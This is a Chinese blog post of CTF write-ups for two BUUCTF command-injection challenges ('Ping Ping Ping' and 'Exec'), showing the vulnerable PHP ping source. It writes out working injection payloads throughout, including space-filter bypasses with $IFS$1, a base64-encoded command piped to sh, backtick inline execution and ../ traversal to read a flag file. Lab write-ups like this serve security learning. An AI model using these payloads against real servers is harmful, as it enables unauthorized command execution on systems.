BUUCTF(11)

105 阅读2分钟

持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第12天,点击查看活动详情

[GXYCTF2019]Ping Ping Ping

开局只有个/?ip= 

F12查看下,啥都没有,于是我们尝试PING一下//所谓的PING命令其实就是用于确定本地主机是否能与另一台主机成功交换(发送与接收)数据包,再根据返回的信息,就可以推断TCP/IP参数是否设置正确,以及运行是否正常、网络是否通畅等。

于是尝试随便PING一下

http://d6ba9f82-8c96-4e47-bd1a-32df6d3f69cf.node4.buuoj.cn:81/?ip=2
返回PING 2 (0.0.0.2): 56 data bytes   、、成功了

不知该干啥了试试用ls查下目录

http://d6ba9f82-8c96-4e47-bd1a-32df6d3f69cf.node4.buuoj.cn:81/?ip=2;ls
出了flag.php
index.php

尝试cat flag.php

http://d6ba9f82-8c96-4e47-bd1a-32df6d3f69cf.node4.buuoj.cn:81/?ip=2;cat%20flag.php

返回/?ip= fxck your space!

此路不通,空格被过滤了,

${IFS}替换
$IFS$1替换
${IFS替换
%20替换
<和<>重定向符替换
%09替换

第一个

/?ip= 1fxck your symbol!   、、符号被过滤了

第二个

/?ip= fxck your flag!    //明flag被过滤了咋搞

此路不通,看一看index.php

/?ip=
|'|"|\|(|)|[|]|{|}/", $ip, $match)){
    echo preg_match("/&|/|?|*|<|[\x{00}-\x{20}]|>|'|"|\|(|)|[|]|{|}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}
?>

bash也被过滤

被过滤的bash,用管道+sh替换

cat flag.php用base64加密来绕过正则匹配

Y2F0IGZsYWcucGhw

?ip=127.0.0.1;echoIFSIFS1Y2F0IGZsYWcucGhw|base64IFSIFS1-d|bash

 

    //?ip= fxck your bash!

 

过滤了flag、bash,但sh没过滤,linux下可用sh

 

?ip=127.0.0.1;echoIFSIFS1Y2F0IGZsYWcucGhw|base64IFSIFS1-d|sh

 

    1

 

|sh 就是执行前面的echo脚本

 

?ip=2;a=g;cat$IFS$1fla$a.php;  flag{ae5f2e24-33a3-4763-adec-ba1b08b271e8}
方法2:echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh    //管道符,base64echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

其它绕过方法就不讲了

内敛绕过

内敛绕过
内联,就是将反引号内命令的输出作为输入执行。
?ip=127.0.0.1;cat$IFS$1`ls`

[ACTF2020 新生赛]Exec

 

开局给了个ping框,我们试一试ping本地127.0.0.1

ping成功,接下来我们试一试用ls查看下

127.0.0.1&ls

查看成功

没有flag,所以猜测不在该目录下

那我们试一试上级目录

127.0.0.1&ls ../     //还是没有,所以继续

加了三个之后发现flag

127.0.0.1&ls ../../../

我们尝试查看

127.0.0.1&cat ../../../flag

直接出了flag